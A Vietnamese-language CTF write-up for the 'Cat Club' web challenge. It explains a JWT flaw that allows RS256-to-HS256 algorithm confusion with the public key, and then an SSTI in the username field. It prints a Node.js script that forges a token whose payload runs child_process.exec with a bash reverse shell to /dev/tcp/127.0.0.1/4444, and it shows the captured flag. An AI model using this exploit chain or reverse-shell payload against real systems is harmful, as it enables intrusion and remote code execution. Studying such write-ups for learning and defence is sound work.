Phân Tích Lỗ Hổng JWT và SSTI trong Thử Thách Web Cat Club CTF

Thử thách web này tập trung vào cơ chế xác thực JWT và xử lý mẫu động. Ứng dụng sử dụng thuật toán RS256 để ký token nhưng triển khai xác minh không đầy đủ, tạo điều kiện cho tấn công hạ cấp thuật toán.

Cơ chế xác minh JWT không an toàn

Đoạn mã xử lý token thiếu kiểm tra thuật toán bắt buộc, chỉ chặn trường hợp "none" mà không yêu cầu bắt buộc RS256:

function taoToken(payload) {
  return new Promise((resolve) => {
    jwt.encode(khoaRieng, payload, "RS256", (err, token) => {
      resolve(token);
    });
  });
}

function xacThucToken(token) {
  return new Promise((resolve, reject) => {
    if (!token || token.split(".").length !== 3) {
      return reject("Định dạng token không hợp lệ");
    }

    jwt.decode(khoaCongKhai, token, (err, payload) => {
      if (header.alg.toLowerCase() === "none") {
        return reject("Không cho phép thuật toán 'none'");
      }
      resolve(payload); // Thiếu kiểm tra header.alg === "RS256"
    });
  });
}

Khai thác hạ cấp thuật toán

Kẻ tấn công có thể:

  1. Lấy khóa công khai từ endpoint /.well-known/jwks.json
  2. Sử dụng khóa công khai như secret key trong thuật toán HS256
  3. Thay đổi header thành "alg": "HS256" để bypass xác minh

Tổng hợp lỗ hổng SSTI

Mẫu trang chủ sử dụng hàm render() với biến username từ token JWT mà không kiểm tra đầu vào:

app.get("/", (req, res) => {
  const tenNguoiDung = req.user ? req.user.username : "guest";
  res.render("index", { name: tenNguoiDung }); // Lỗ hổng SSTI
});

Do cơ chế đăng ký chỉ cho phép chữ cái và số, việc chèn payload phải thực hiện qua việc tạo token giả mạo.

Triển khai khai thác

Script tạo token độc hại sử dụng khóa công khai làm secret key cho HS256:

const jwt = require('jsonwebtoken');
const khoaCongKhai = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw4oPEx+448XQWH/OtSWN
8L0NUDU+rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpat
hL1zf3/Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQz
YcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnR
fT5HJjSRu/JmGlYCrFSof5p/E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t
8opUrLbrJYoWFeYZOY/Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ+H
dwIDAQAB
-----END PUBLIC KEY-----`;

const tokenDocHai = jwt.sign(
  { username: "#{process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/127.0.0.1/4444 0>&1\"')}" },
  khoaCongKhai,
  { algorithm: 'HS256' }
);

Sau khi gửi token này qua cookie token=tokenDocHai, hệ thống sẽ thực thi lệnh reverse shell khi render trang chủ.

Kết quả khai thác

Lệnh hệ thống được thực thi thành công, cho phép đọc file flag.txt trong thư mục gốc ứng dụng với nội dung:

INTIGRITI{h3y_y0u_c4n7_ch41n_7h053_vlun5_l1k3_7h47}

Thẻ: JWT rs256 hs256 SSTI nodejs

Đăng vào ngày 18 tháng 6 lúc 00:40